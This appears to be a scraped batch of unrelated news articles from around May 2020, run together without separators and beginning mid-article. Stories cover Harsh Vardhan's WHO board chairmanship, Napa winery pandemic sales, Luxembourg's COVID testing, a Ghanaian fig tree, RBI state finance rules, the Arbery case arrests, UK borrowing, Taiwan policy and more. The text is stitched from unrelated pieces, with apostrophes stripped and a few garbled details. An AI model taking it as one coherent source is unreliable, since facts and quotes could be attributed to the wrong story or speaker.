Noting that COVID-19 is a great human tragedy and the next two decades may see many such challenges, he said, "All these challenges demand a shared response, as these are shared threats requiring a shared responsibility to act."



"While this is the core philosophy of our alliance of member nations that comprise WHO, however, it needs a greater degree of shared idealism of nations.""The pandemic has made humanity acutely aware of the consequences of ignoring the strengthening and preparedness of our healthcare systems. In such times of global crisis, risk management and mitigation would require further strengthening of global partnerships to re-energize interest and investment in global public health," Vardhan said.

Sharing India's experience in combating COVID-19, he said the nation has only 3 per cent mortality rate and with 1.35 billion people, there are only 0.1 million COVID-19 cases. "The recovery rate is above 40 per cent and the doubling rate is 13 days."



As the new Chair of the WHO Executive Board, Vardhan underlined the need for higher commitments in respect of diseases that have plagued humankind for centuries, collaborations for supplementing each other by pooling in global resources, an aggressive roadmap to curtail deaths from diseases that can be eliminated, a fresh roadmap to address global shortages of medicines and vaccines, and the need for reforms.

"I'm sure that constant engagement with member states and other stakeholders will reinforce reforms and help accelerate progress towards achieving sustainable development goals and universal health coverage with the most productive, efficient and targeted utilization of resources," he said.

"I will put myself to work to realise the collective vision of our organisation, to build the collective capacity of all our member nations and also build a heroic collective leadership."



Reminiscing his long-standing association with WHO, Vardhan expressed his gratitude for WHO's strong support in India's fight against Polio.

At the Executive Board meeting in May 2021, he will hand over to the next Chair from another WHO Region. However, he will continue to be a member of the Executive Board till 2023.

Vardhan has also been a member of several prestigious WHO committees like Strategic Advisory Group of Experts and the Global Technical Consultative Group on Polio Eradication. He has also served as an advisor to WHO.

The Executive Board comprises 34 individuals, technically qualified in the field of health, each one designated by a member-state elected to do so by the World Health Assembly. Member States are elected for three-year terms.

The main functions of the executive board are to give effect to the decisions and policies of the Health Assembly, to advise it and generally to facilitate its work.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Judd Wallenbrock said Charles Krug Winery and the California industry overall have been through disasters before.

Were no stranger to adversity here, the CEO of C. Mondavi & Family said this week. From earthquakes to fires to the existential threat of a proliferating cannabis space, and weve already experienced several occasions when we need to get people wine who would prefer to stay home.

But even he admits that theres been nothing like the coronavirus pandemic that shut down his winery, and others across the state and country, since mid-March. Since then, they have been sought out alternatives to the tasting-room visits to market and sell their wines and maintain some semblance of interaction, both with their customers and staff.

Every day we send a daily message that goes out to all employees for updates on the latest news and activities were undertaking," he said. "Weve also created an internal number that our employees can call to get all updates or coordinate. In this time weve found it necessary and prudent to be especially communicative, you cannot be too transparent when something like this happens.

In addition, he said, the winery has pivoted on its hospitality efforts and moved the workforce into other areas of the operation. People here wont be unemployed, he said. "In fact, we are doubling up our efforts for outreach to the public on the telephone, e-mails, local home delivery, texts, social media, virtual tastings and all on-line sales efforts.

One of the initiatives that the winery undertook was teaming with the United Sommeliers Foundation to be a partner in a donation campaign helping their sommelier colleagues across the U.S. Charles Krug winery initially aided that effort via the sale of some limited-edition wine keys, which were hand-crafted in Italy from wood salvaged from the original Old Growth Redwood tanks that used to be a fixture there.

Only in the past week have a few California wineries that offer a dine-in experience reopened. Its expected that the majority of that states tasting rooms wont be back in business until sometime around July 1.

Wallenbrock took some time to answer a few questions from PennLive on what he and the winery have been doing these past eight weeks and what the short-term future looks like.

Q, I saw you mention the amount of outreach youre doing during the pandemic. Regional? National? Are there any numbers that indicate how successful that has been?

A, Weve been taking a dual-pronged approach to our outreach  one with a wider scope and one thats more precise  that weve found helpful in this time. On the internal side, weve been holding larger-scale distributor meetings/tastings over zoom with sales reps that have actually been great in that you can get multiple people from around the country in one virtual room for a tasting with our winemaker Stacy. On a more granular level, weve been hosting intimate virtual tastings and meetings for media, who have been able to get some face time with our proprietor Peter Mondavi Jr. without having to leave their homes. From a wide-scale consumer perspective, were doing Facebook and Instagram Live events with folks from the winery. There, were able to connect with a wide range of people  from our biggest fans to people who have never even tried the brand and are new potential customers. On the other side of that equation, weve also executed corporate tastings with wine club members and country clubs, where Peter is able to interact with a small group of consumers to share the Charles Krug story and our wines.

Q, Are there initiatives you have started during the pandemic that you can see continuing when theres a return to normalcy?

A, We certainly think well continue doing our virtual tastings  the response and engagement from those have been strong enough that they will remain a part of our consumer relations strategy. We also think that this pandemic has helped us realize that in reality, a lot of our business meetings that would typically require travel can be executed perfectly fine through teleconferencing. Especially when you consider the environmental impact of traveling, we anticipate that moving forward, a lot more of our business operations will take place on Zoom. We also think that our more active approach to customer service today will be a big help in the future: the implementation of our chat functionality on the website, along with our wide-ranging conversations with consumers on the phone, have brought us closer to fans around the country and we would love to keep that momentum going.

Q, Are you doing curbside sales, a strategy that so many wineries on the East Coast have employed? If so, how successful has that been?

A, Yes we are doing curbside pickup, although we call it WIT [Wine in Trunks]. We have quite a long driveway at the winery, so when customers place orders with us for pickup, theyll come to that driveway, give us a call and open their trunk. From there, a masked tasting room employee comes to put the wine in their trunk for a contactless delivery. Weve sold a lot of wine this waywhich is great from a sales perspective, but we also have received a ton a great feedback from consumers thanking us for keeping them safe.

The entrance to the Charles Krug Winery in St. Helena. Its tasting room remains closed, but the winery staff has used everything from virtual tastings to curbside pickups to keep the momentum going.

Q, What have the past couple of months been like for you personally, assuming youre at the winery daily and seeing those gorgeous tasting rooms empty day after day?

A, I really try to be a positive person, so when we face challenges to the business, I try as much as I can to think about the positive implications [some of which Ive laid out already]. Were no stranger to adversity herefrom earthquakes to fires to the existential threat of a proliferating cannabis space, and weve already experienced several occasions when we need to get people wine who would prefer to stay home. This is certainly an unprecedented time for a number of reasons, but its my job to continue looking for ways to get consumers [our] wine in the safest way possible.

Q, Have you and your staff started to talk about a strategy for resuming? Like everywhere else, Im assuming its step by step rather than hitting the ground running?

A, Weve already started the planning phase of re-opening, with the overarching focus on our safety protocols. Soon, well be making a behind-the-scenes video that shows all the safety measures being taken from our staff that will show were going above and beyond the baseline protocols handed down by local authorities. It should be noted, though, that wont open until it is 100% safe to do so. From a production side, were lucky that 5 years ago, we installed an instant bottling system that naturally helps space out our employees; that should be a big help for maintaining social distancing as we get to making more wine.

Q, I saw where you were asked about the new normal, a word thats being tossed around a lot now. But what do you or what have you talked about in terms of longer-term changes on the operation and experience?

A, We know that even when we do return to being able to host guests, things wont automatically go back to normal  moving to appointment only will be the first big change for the short term. On a coincidental note, weve also been working on a new set of outdoor cabanas at the winery throughout this past winter and spring. These new parts of the winery inherently institute social distancing, and well be happy to have a relevant use for them right from the beginning of this summers tourism season.

Q, If we werent talking about the pandemic this spring, what would we be talking about in respect to the winery? Anything new you were planning to unveil? Anything differentiates the releases that have come out or will come out this spring from other years?

A, We have the aforementioned cabanas that will be a big part of the winery this year. As Napa Valleys oldest winery, Charles Krug has always been a community hub, and we had a litany of various events lined up before the pandemic hitfilm screenings, art shows, comedy showcasesthat well have to put a hold on until we get a better sense of when its safe to hold events like this again. Before this pandemic arrived, the industry was already facing big questions around consumption habits and generational change, and moving forward, we are still going to make sure our focus is to share the story of Napa Valley wine through Charles Krug.

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Amritsar (Punjab) [India], May 22 (ANI): Under Vande Bharat Mission, a special repatriation flight carrying Indian nationals from Kuala Lumpur, Malaysia arrived at Sri Guru Ram Das Jee International Airport in Amritsar on Friday.



Civil Aviation Minister Hardeep Singh Puri on Thursday said that upwards of 20 thousand Indian citizens have been brought back to the country under the Vande Bharat mission so far and the number will rise further in the coming days.

The Indian government launched the first phase of the Vande Bharat Mission on May 7 and the second phase was started on May 16. (ANI)


Minister of Health Paulette Lenert, Minister of Higher Education and Research Claude Meisch, LIH director Ulf Nehrbrass and professor Paul Wilmes (representative from the Covid-19 Research Luxembourg task force) held a press briefing about Luxembourg's testing strategy earlier this Friday.

Key points Extensive testing was and remains a key weapon in the battle against coronavirus, Minister of Health Paulette Lenert stressed. Luxembourg has one of the highest rates of testing for the novel virus in the world: according to OECD statistics, only Iceland has tested a higher percentage of its population. Massive testing, Lenert added, allows the government to ease restrictions or, if need be, implement restrictions. There are two main types of tests. The first type is the so-called PCR test, which relies on nasopharyngeal swab samples. This kind of test is used to directly detect the presence of an antigen and consequently establishes whether or not an individual has contracted the virus. The second kind of tests are antibody tests (also known as serology tests). The antibody test does not check for the virus itself but analyses whether an individual's immune system has responded to the infection. In Luxembourg, this type of test is for instance being used in the context of the large-scale Convince study. PCR tests are being used extensively in at-risk sectors (such as care homes and hospitals). They also form part of "cluster prevalence testing," which is used to investigate the spreading of the virus in a specific sector. Pauletter Lenert cited the example of the construction sector, in which extensive testing was carried out when construction sites were reopened. Discussions to carry out cluster prevalence tests at Luxairport are ongoing, Lenert added. Luxembourg is set to roll out large-scale testing. 17 drive-through centres in different locations across the country will open on 25 May. Officials estimate that around 20,000 tests can be carried out on a daily basis, and the Ministry of Health will invite people to get tested. The tests are voluntary but Claude Meich stressed that a willingness to get tested forms part of collective solidarity and responsibility. It is not possible to get tested at one of the new testing stations without an official invitation (sent by post). Professor Nehrbass underlined that one of the goals of large-scale testing is to identify asymptomatic patients and get a clearer idea of virus spreading by sector. If one sector for instance records rising infection rates, the government will be able to implement new restrictions tailored for that specific sector. Residents and cross-border workers are split into different groups. Group A: Individuals who still have a lot of social interaction (police officers, hairdressers, nursing staff, etc). They will be able to get tested every two weeks.

Group B: Employees who returned to their workplace. A random sample of employees will be tested to find out if infections are rising in a specific sector.

Group C: the entire population. Random samples will be taken. The idea is to find out if some regions of the country are for example worse affected than others. In case a pupil tests positive, the normal contact tracing procedure will take place, Minister of Education Claude Meisch explained. It is unlikely that an entire class will be placed in quarantine.
Scientists from the Crops Research Institute (CSIR) have established that a supposed apple tree planted at Wiamoase in the Ashanti Region could be a fig tree.



The CSIR in a statement "debunking" the claims said the peel of the fruit contains a thick whitish latex which sticks to objects and the hand and is difficult to clean.



The CSIR team included the Agona District Director of the Ministry of Food and Agriculture, Mr Ernest Owusu Kwarteng and was led by Mr Beloved Mensah Dzomeku, a Principal Research Scientist and lead horticulturist of the Institute also used a mobile plant identification app to arrive at their findings.



"Additionally, the (CSIR) team used PlantSnap, a high-tech, comprehensive and accurate plant identification mobile app which is able to identify over 90 percent of all known species of plants and trees to match the leaves of the supposed plant and confirmed that indeed it was a fig tree (Ficus sp.) and not an apple tree as previously claimed," the statement said.



"The Institute believes that the said tree could be Ficus sycomorus which is native to tropical Africa, South of the Sahel as well as North of the Tropic of Capricorn. Its fruit is a large edible fig, 23 cm in diameter, ripening from buff-green to yellow or red. They are borne in thick clusters on long branchlets or the leaf axil".



Viral post



News of the supposed apple tree trended over the weekend after a social media post went viral on Twitter.



Transverse section with several seeds within the fruit



Read the entire CSIR statement below;



ALLEGED FRUITING OF APPLE AT WIAMOASE, ASHANTI REGION: CSIR-CROPS RESEARCH INSTITUTE DEBUNKS CLAIM



A team of research scientists from the CSIR-Crops Research Institute visited Wiamoase, in the Sekyere-South District of the Ashanti region to ascertain the veracity of the alleged apple fruiting in the community. The team included the Agona District Director of the Ministry of Food and Agriculture, Mr. Ernest Owusu Kwarteng and was led by Mr. Beloved Mensah Dzomeku, a Principal Research Scientist and lead horticulturist of the Institute.



The alleged apple tree is growing on latitude 07o 03 333 N and longitude 001o 31150 W, at an altitude 432m above sea level as a shade tree in a house.



On site, the team made the following observations:



Morphologically, the tree has several adventitious roots emerging from the stem and branches (see photos below).

The transverse and longitudinal sections of the immature fruits show several seeds within the fruit (see photo below).

The peel of the fruit contains a thick whitish latex which sticks to objects and the hand and is difficult to clean.



Additionally, the team used PlantSnap, a high-tech, comprehensive and accurate plant identification mobile app which is able to identify over 90 percent of all known species of plants and trees to match the leaves of the supposed plant and confirmed that indeed it was a fig tree (Ficus sp.) and not an apple tree as previously claimed.



The Institute believes that the said tree could be Ficus sycomorus which is native to tropical Africa, South of the Sahel as well as North of the Tropic of Capricorn. Its fruit is a large edible fig, 23 cm in diameter, ripening from buff-green to yellow or red. They are borne in thick clusters on long branchlets or the leaf axil.



Ecology of Fig



Fig belongs to the family Moraceae (sometimes called Mulberry family). There are over 850 different types of fig in the world. Available literature indicates that the Fig infructescence is pollinated by symbiosis with fig wasp (Blastophaga psenes). Various reports also state that the fertilized female wasp enters the fig through the scion, which has a tiny hole in the crown (the ostiole).



She crawls on the inflorescence inside the fig and pollinates some of the female flowers. She lays her eggs inside some of the flowers and dies. After weeks of development in their galls, the male wasps emerge before females through holes they produce by chewing the galls.

The male wasps then fertilize the females by depositing semen in the hole in the gall. The males later return to the females and enlarge the holes to enable the females to emerge. Then some males enlarge holes in the scion, which enables females to disperse after collecting pollen from the developed male flowers.



Females have a short time (It was not surprising that having cut open the immature fruits, there was an insect in it)



In 2017, the total world production of fig was 1,152,799 tonnes with the leading producing countries being Turkey (305,689tons), Egypt (177,135tons), Morocco (137,934tons), Algeria (128, 684 tons) and Iran 70,730 tonnes (FAOSTAT, 2018)





Source: Daily Graphic









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Mumbai: In a bid to provide more resources to states, the Reserve Bank of India (RBI) on Friday eased the rules governing withdrawal from the Consolidated Sinking Fund resulting in release of additional Rs 13,300 crore to them.

State governments maintain a Consolidated Sinking Fund (CSF) with RBI as a buffer for repayment of their liabilities.

"In the light of the COVID-19 pandemic and the consequent stress on state government finances, the RBI has reviewed the scheme and has decided to relax the rules governing withdrawal from CSF, while at the same time ensuring that depletion of the Fund balance is done prudently" RBI Governor Shaktikanta Das said.

This will enable states to meet a larger proportion of their redemption of market borrowings due in the current financial year from CSF and these relaxations to states will release an additional amount of about Rs 13,300 crore, he said.

"Together with the normally permissible withdrawal, this measure will enable states to meet about 45 per cent of their redemptions due in 2020-21 through withdrawal from CSF. This change in withdrawal norms will come into force with immediate effect and will remain valid till March 31, 2021," he said.

In response to COVID-19, the Governor said, the requirement of fiscal resources has increased with likely implications for market conditions going forward.

"The RBI shall remain watchful and support the smooth completion of the borrowing programme of the Centre and states in the least disruptive manner," he noted.

Last month, the RBI increased Ways and Means Advance (WMA) limit of states by 60 per cent.

This was estimated to create a space for Rs 12,000 crore for state governments looking to raise money.

"It has now been decided to increase the WMA limit of states by 60 per cent over and above the level as on March 31, 2020 to provide greater comfort to the states for undertaking COVID-19 containment and mitigation efforts, and to plan their market borrowing programmes better," RBI had said.

The central bank had also increased the number of days states can be in continuous overdraft to 21 days from 14, and the number of days states can be in overdraft in a quarter was raised from 32 to 50 days.
Sphero, a toy manufacturer known for making simple, programmable robots for kids, has launched a new spinoff business to develop AI and robotics for law enforcement, first responders, and other government agencies.

The new entity is called Company Six (CO6) and will build on technology Sphero had previously developed through its Public Safety Division.

The company hasn't announced any clients or new projects, but promises to focus on 'lightweight, yet highly advanced robotic solution that provides critical awareness for those we depend on the most, including police, fire, EMT, military, and others with dangerous jobs.'

Company Six is a new spinoff from toy robotics manufacturer Sphero that will build custom robotics and AI for police, military, EMTs, fire departments, and more

Sphero's Paul Berberian, who previously served in the US Air Force, will step down from his role as CEO and take a new title as Chairman of both companies, according to a report in CNet.

'This is an opportunity to continue to bring revolutionary robotics technology to new markets to improve the lives of more people, our future leaders, and people with essential and sometimes dangerous job functions,' he said in a prepared statement.

Sphero says the company has sold more than four million robots since it was founded in 2010.

The company's most famous product were remote controlled toy versions of BB-8 and R2-D2 from Star Wars, which it developed as part of a licensing agreement with Disney that expired in 2018.

The company also makes a programmable toy car called RVR, which can be controlled through a smartphone app.

Sphero is best know for making remote controlled versions of R2-D2 and BB-8 from Star Wars, but the company's licensing agreement expired in 2018

Sphero also makes a programmable remote controlled car called RVR, which can be controlled by a smartphone and can be custom programmed through Raspberry Pis and other simple computer interfaces

Company Six hasn't announced any clients of projects but says it will focus on making 'lightweight, yet highly advanced robotic solution that provides critical awareness for those we depend on the most, including police, fire, EMT, military, and others with dangerous jobs'

Advanced uses can also create custom code for RVR using Raspberry Pi, Arduino, and littlebits, a simple programming system for kids that Sphero developed.

The toy car comes equipped with ambient color sensors that can detect different hues lights, IR sensors capable of communicating with other robots in the field, and built-in gyroscope to help maintain balance and consistency when repeating move commands.

'Our team is excited to build critically-needed robotic hardware and advanced software solutions that help first responders and people with dangerous jobs,' Sphero COO John Booth said in a statement.

'Our mission is to build powerful and affordable technology that we can put in the hands of as many people as possible.'
Chairman of the PTF and the Secretary to the Government of the Federation, Boss Mustapha, said this at the PTF COVID-19 daily press briefing.

The Chairman of the PTF, Boss Mustapha

The Presidential Task Force (PTF) on COVID-19 has warned Nigerians against large purchase of hydroxychloroquine to treat COVID-19, saying the drug had not been certified for use.

The Chairman of the PTF and the Secretary to the Government of the Federation (SGF), Boss Mustapha, said this at the PTF COVID-19 daily press briefing on Thursday in Abuja.

He said through the surveillance system set up by the PTF, it had received reports that Nigerians had been purchasing hydroxychloroquine in large quantities to treat the virus.



We wish to reiterate that this drug has not being certified for use in treating COVID-19 in Nigeria by the relevant health and pharmaceutical authorities.

Self-medication of any kind is fraught with the danger of increasing risks of avoidable casualties. We therefore strongly warn against self-medication, he said.

According to him, if you are sick, please seek medical advice and if you are confirmed positive, kindly self-isolate in an approved facility, the COVID-19 is highly infectious and dangerous.

Although the World Health Organisation and other health experts have repeatedly warned that no drug has been approved for treating COVID-19 yet, statements by public officials including President Donald Trump of the U.S. and Governor Bala Mohammed of Bauchi State may have encouraged the mass purchase of chloroquine and its derivative, hydroxychloroquine, by Nigerians.

Mr Trump has repeatedly encouraged the use of the drug and said even he was using it. Mr Mohammed also said he had approved the use of the drug for COVID-19 patients in the state.
Earlier in two separate incidents in May, Indian and Chinese soldiers had punched each other, resulting in injuries to troops on both sides

New Delhi: India on Thursday accused Chinas Peoples Liberation Army of blocking Indian Army patrols on its side of the Line of Actual Control. This comes in the backdrop of two separate incidents earlier in May in the Sikkim and Ladakh sectors when Indian and Chinese soldiers had punched each other, resulting in injuries to troops on both sides.

Refuting Chinas allegations that Indian troops had crossed the LAC into Chinese territory, New Delhi said Indian troops had not crossed the LAC and any such claim was false. India also said it would ensure its security but added it was firmly committed to peace in border areas with China. It added the two sides were in talks.

The incident in north Sikkim had taken place on May 9 while that in east Ladakh was on May 5-6 night. In both incidents, aggressive PLA patrols were stopped by Indian troops inside Indian territory, that China claims as its own.

It may be recalled New Delhi recently said such incidents occur at times as the two sides have different perceptions of the LAC. The external affairs ministry said Thursday the Chinese side had recently undertaken activity that led to hindering normal patrolling patterns of the Indian forces.

The MEA added that Indian troops scrupulously abide by the alignment of the LAC and all Indian activities are entirely on the Indian side of the LAC.
On Thursday, the Georgia Bureau of Investigation announced that the arrest of William Roddie Bryan, Jr., the 50-year-old man who recorded the killing of Ahmaud Arbery, 25, on February 23 just outside Brunswick, Georgia. Bryan has been charged with felony murder and criminal attempt to commit false imprisonment and has been booked into the Glynn County Jail along with the Gregory and Travis McMichael.

No arrests were made in the immediate aftermath Arberys killing earlier this year. It was only after two different district attorney offices recused themselves from the case and video of the shooting went viral on the internet that the state stepped in and arrested Gregory and Travis McMichael, who were shown in that video confronting and killing Arbery. On May 9, Travis was charged with murder and aggravated assault, and Gregory was charged with party to murder and aggravated assault.

Screenshot of the video of the murder of 25-year-old Ahmaud Arbery in February by a former police officer and his son, in Brunswick, Georgia

The pair pursued Arbery in a pickup truck after the latter allegedly trespassed on an open construction site in their neighborhood. While pursuing their victim, the McMichaels passed by the home of Bryan, who got in his own vehicle and followed. According to Gregory McMichael, at one point during the confrontation Arbery ran around the McMichaels car and it was at that time that Bryan tried to block the young man with his own vehicle. Arbery then ran past this second car, after which both reportedly turned around and continued their hot pursuit.

Shortly after this incident, at 1:14 p.m., Bryan recorded the video of Travis McMichael shooting Arbery three times, twice in the chest. The elder McMichael told police that he thought Arbery was a burglary suspect and claimed that he violently attacked his son Travis. It was only then, according to Gregory, that the two struggled over the shotgun which led to the killing of Arbery.

Bryan previously spoke to local news reporters and stated that he had nothing to do with Arberys death. I had nothing to do with it. Im trying to get my life back to normal, and its been smeared for the past week. I was told I was a witness, and Im not sure what I am, other than receiving a bunch of threats.

Kevin Gough, Bryans attorney, had stated in the days prior to the arrest, My client was responding to what he saw, which was someone in the community he didnt know being followed by a vehicle he recognized. Without going into details about the level of crime in this community in this subdivision, I think most people in this subdivision were aware that there were issues.

The WSWS noted last week that the only crimes reported in the neighborhood during the weeks prior to the shooting were the theft of a firearm from an unlocked vehicle belonging to the McMichaels and one instance of trespassing on the construction site in question. It was recently revealed by the owner of that property that trespassing has occurred on that property on several occasions by multiple people. The trespassers included not only Arbery but two small children and an unidentified man and woman. The owner insists that no burglaries occurred and no damage has been sustained to the construction site.

Bryan and Gough both previously denied that Bryan had any involvement or even a relationship with the McMichaels, but his name appears in the police report, where Gregory refers to him by the nickname Roddie. Photographs of Arbery recorded by the surveillance system at the construction site had been circulated through a neighborhood Facebook group as well as the social application Nextdoor, suggesting that multiple residents were following these developments.

George Barnhill, one of the district attorneys who recused his office from the case, mentioned Bryan in his letter to the GBI in early April. Barnhills son had worked directly with Gregory McMichael, a retired police investigator in the local district attorneys office, and he expressed the opinion that no charges should be brought against the McMichaels or Bryan. He claimed that the three had probable cause to believe that Arbery was a burglar on the run when they pursued and gunned him down in the street.

Attorneys for Arberys family spoke favorably of Bryans arrest in statement released to the media. The family of Ahmaud Arbery was relieved to learn that the Georgia Bureau of Investigation has taken William Roddie Bryan into custody. We called for his arrest from the very beginning of this process. His involvement in the murder of Mr. Arbery was obvious to us, to many around the country and after their thorough investigation it was clear to the GBI as well.

In addition to a 2017 video that surfaced this week showing local law enforcement attempting to shoot Arbery with a Taser, another has been published on YouTube that shows the arrest of the young man for shoplifting in a separate incident on December 1, 2017. The video shows Arbery and three teenagers being confronted by police in a Walmart parking lot about the theft of a television set. Arbery later pled guilty and was sentenced to five years of probation.

Benjamin Crump, an attorney for Arberys father, has previously stated that videos such as these and reports of previous criminal infractions are circulated to hurt the character of the victim and justify the killing. Weve been here before, whether its Tamir Rice or Trayvon Martin. When they kill our children, they then try to assassinate their character, and I know theyre going to do that with Ahmaud Arbery.

Hundreds of people rallied outside the Glynn County Courthouse last Saturday, protesting the handling of the Arbery case. The first district attorney who was assigned to the case, Jackie Johnson, immediately recused herself from the case due to her previous work with Gregory McMichael, but District Attorney Barnhill waited several weeks and did not recuse himself for similar reasons until it was requested by Arberys mother.
Grace Lee is a mother of three and community activist running for State Assembly to bring new leadership to Lower Manhattan. Click here to learn more. Please VOTE by June 23rd.

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The UK government borrowed 62.1bn ($75.8bn) in April  more than it has done in any month on record  in order to help tackle the impact from the spread of coronavirus.

Data from the Office for Budget Responsibility (OBR) and the Office for National Statistics (ONS) confirmed that the coronavirus pandemic has had unprecedented impact on borrowing, and the amount borrowed in April 2020 was the highest in any month on record, since record keeping began in January 1993.

The coronavirus (COVID-19) pandemic is expected to have a significant impact on the UK public sector finances. These effects will arise from both the introduction of public health measures and from new government policies to support businesses and individuals, the ONS said in its report.

It noted that these results are just preliminary and that the full effects of COVID-19 on the public finances will become clearer in the coming months. This means that some of the statistics included in this release, particularly those for April 2020, will be prone to larger revisions than normal, once more data become available.

In the latest data release, the ONS also bumped up its provisional estimate of borrowing in March 2020 by 11.7bn to 14.7bn, largely due to reductions in the previous estimate of taxes and the additional expenditure associated with the Coronavirus Job Retention scheme.

The ONS also pointed out that the OBR estimated that borrowing in the current financial year (April 2020 to March 2021) will be 298.4bn, which is around five times the amount borrowed in the latest full financial year (April 2019 to March 2020) and almost twice as much as was borrowed in the financial year ending March 2010, at the peak of the financial crisis.

Chart: Source: Office for National Statistics - Public Sector Finances

The ONS warned that the effects of the coronavirus (COVID-19) pandemic are not fully captured in this release, meaning that estimates of national accounts-based (accrued) tax receipts, borrowing and gross domestic product (GDP) in particular are subject to greater than usual uncertainty.

Story continues

Todays figures highlight the extent to which the Government is digging deep to plug the growing gap in the UKs finances, said Tom Stevenson, investment director for personal investing at Fidelity International.

These are extraordinary borrowing figures in extraordinary times. Fidelitys Investor Survey, which captures UK investor sentiment since the outbreak of COVID-19, shows that a majority of investors support measures to help the UK economy cope with the coronavirus pandemic; 61% agree with the Government borrowing more than usual to fund economic support packages.

While the Treasurys priority is to ensure it can support households and companies here and now, there are clearly considerations about how this borrowing will be paid for at a later stage. Wells are very rarely bottomless. Our research does suggest that 40% of investors may be prepared for an increase in income taxes at some stage, but the exact steps that will be taken remain to be seen.

Watch the latest videos from Yahoo Finance UK
A 39-yer-old man was arrested in



Mizoram for impersonating as an Army officer, police said on Friday.

The accused Lalhriatpuia alias Mamatea, a resident of Aizawls Dawrpui Vengthar, was arrested on Thursday, a police officer said.

Personnel of the Assam Rifles in Aizawl apprehended the accused and handed him over to Vaivakawn police station on Thursday evening, the officer said.

Assam Rifles sources said that Lalriatpuia wearing Army uniform was allegedly checking vehicles near the Vairengte check gate on Wednesday.

The incident came to light when the accused posted his photograph wearing Army uniform taken near Vairengte check gate on Facebook, the sources said.

Meanwhile, officer -in-charge of Vairengte police, H. Lalchawimawia told PTI that the accused was spotted at Vairengte gate.

According to him, Lalhriatpuia had been arrested in 2014 for impersonating as a police officer.

"Lalhriatpuia came to the police station wearing police uniform pretending to be an Mizoram Police Service (MPS) officer," he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
David Jones converting a large section of their Sydney city store into a Club for servicemen and women!!

What? Is David Jones, the oldest department store in Australia and the oldest department store in the world, still trading under its original name, really going to open a club for servicemen and women in their city store??

Well yes. But this was back in 1939-40, at the outbreak of the Second World War and this was one of David Jones many philanthropic contributions to society.

His commitment to the wellbeing of his staff and society was born out of his desire to live his life in accordance with the teachings of Jesus. The golden rule to treat others as you would want them to treat you was very real to him and his family. Jesus is recorded as teaching his followers to Love your neighbour as yourself.

David Joness desire to live according to this instruction was evidenced over and over throughout his lifetime. Listed below are some examples:

He was a deacon of the influential Pitt Street Congregational Church for some thirty-five years, where he and other godly deacons built classrooms within their church building to educate, feed and clothe impoverished children.

This was part of a five-year Enlargement Program and he personally contributed quite substantial amounts of money to this project. David Jones contribution of two thousand pounds seventeen shillings (approximately $2.2m in todays money) was only exceeded by John Fairfaxs (Sydney Morning Herald) contribution of three thousand two hundred and eighty-five pounds (approximately $3.5m in todays money) toward the Enlargement Program. (www.measuringworth.com).

As a deacon, David Jones played a significant role in the church that gave birth to a savings bank, a day school (already mentioned), an employment agency, an organised distribution centre for clothing and also provided support for the poor.

Generous benefactor

He was very generous as a benefactor to his own and other churches. He is recorded as being one of the two highest contributors to the various ministries and missionary endeavours of the Pitt Street Congregational Church. David Jones was one of the Sydney merchants of the day who gave 1,000 guineas to the Crimean War Victims Fund.

He also contributed toward the salary of Mr C. Tilley and Miss McAlpine who demonstrated and taught Gods love by teaching the Bible, visiting the sick and poor in the Sydney region and offering them help where they could, including food and clothing. Their role was to demonstrate the love of God in very practical ways. In one year alone, Mr Tilley made around 700 visits, 200 of which were to the very sick or dying. In addition, 3,500 pieces of Christian literature were distributed. (1870 Pitt Street Congregational Year Book p 19, 21,24,25)

This was an era when there was no social security or government welfare assistance. Any relief or support for those in need was looked after by benevolent societies, such as those at the Pitt St Congregational Church

Jones made contributions to other ministries within the church and included the Christian Instruction Society, the Ladies Bible and Domestic Mission, the Sunday School Fund as well as the Dorcas Society and the London Missionary Society. (p22)

It could be construed from the above that he only gave out of his wealth, however, nothing could be further from the truth. He and the other deacons and their wives were hands on people. As a member and a deacon of the Pitt Street Congregational Church he was to abide by the rules which stated that every Sunday afternoon, each deacon would spend at least one hour in a designated area visiting the poor and the sick. (p18)

David Jones was a business man with a heart of compassion and concern for humanity. His understanding of the teachings of Jesus clearly influenced his life.
Chinese Premier Li Keqiang left out the word 'peaceful' on Friday while talking about Beijing's desire to 'reunify' with self-ruled Taiwan, an apparent policy shift that comes as ties with Taipei continue on a downward spiral.

Taiwan has complained of increased Chinese military harassment since the coronavirus pandemic began, with fighter jets and naval vessels regularly approaching the island on drills China has described as 'routine'.

The news comes after Taipei's independence-leaning President Tsai Ing-wen swore in for her second term this week and US Secretary of State Mike Pompeo congratulated her for the re-election in a move that infuriated the Chinese Communist Party.

Speaking at the opening session of the National People's Congress on Friday, Chinese Premier Li Keqiang (pictured) said his country would 'resolutely oppose and deter any separatist activities seeking Taiwan independence'. Beijing views self-ruled Taiwan as a province

'We will encourage them to join us in opposing Taiwan independence and promoting China's reunification,' Li said. He is pictured walking past Chinese President Xi during the meeting

China says Taiwan is its most sensitive and important territorial issue, and has never renounced the use of force to bring what it views as a Chinese province under its control, making the Taiwan Strait a potential military flashpoint.

Li, in his state-of-the-nation work report at the start of the annual meeting of China's parliament, said his country would 'resolutely oppose and deter any separatist activities seeking Taiwan independence'.

China will improve policies and measures to encourage exchanges and cooperation across the Taiwan Strait, and protect the well-being of Taiwan's people, he added.

'We will encourage them to join us in opposing Taiwan independence and promoting China's reunification,' Li said. 'With these efforts, we can surely create a beautiful future for the rejuvenation of the Chinese nation.'

Taiwan's President Tsai Ing-wen (central) and Vice President William Lai waving during an inauguration event for their respective terms in office, at the Taipei Guest House in Taipei

A congratulatory note from US Secretary of State Mike Pompeo hailing Tsai's 'courage and wisdom' sparked a rebuke from Beijing, which bristles at any formal recognition of Taipei

However, there was no mention of the word 'peaceful' in front of 'reunification', departing from the standard expression Chinese leaders have used for at least four decades when addressing parliament and mentioning Taiwan.

Democratic Taiwan has shown no interest in being ruled by autocratic China.

A senior Taiwan official, however, told Reuters the absence of the word 'peaceful' did not signal a fundamental change in China's approach towards the island.

'They are still talking about the concept of peaceful unification, just in an indirect linguistic expression,' said the person who is familiar with Taiwan's policy towards China, pointing to Li's remarks on cross-Strait exchanges and economic integration.

'It's neutral. We do not look at it that way.'

China's Taiwan Affairs Office did not immediately respond to a request for comment.

China believes Taiwan President Tsai Ing-wen is a separatist bent on independence. Pictured, the national flags of the United States of America (left) and Taiwan (central) fly side-by-side outside the headquarters of a transnational company in New Taipei City on March 2, 2013

China believes Taiwan President Tsai Ing-wen is a separatist bent on independence. Tsai says Taiwan is already an independent country called the Republic of China, its formal name.

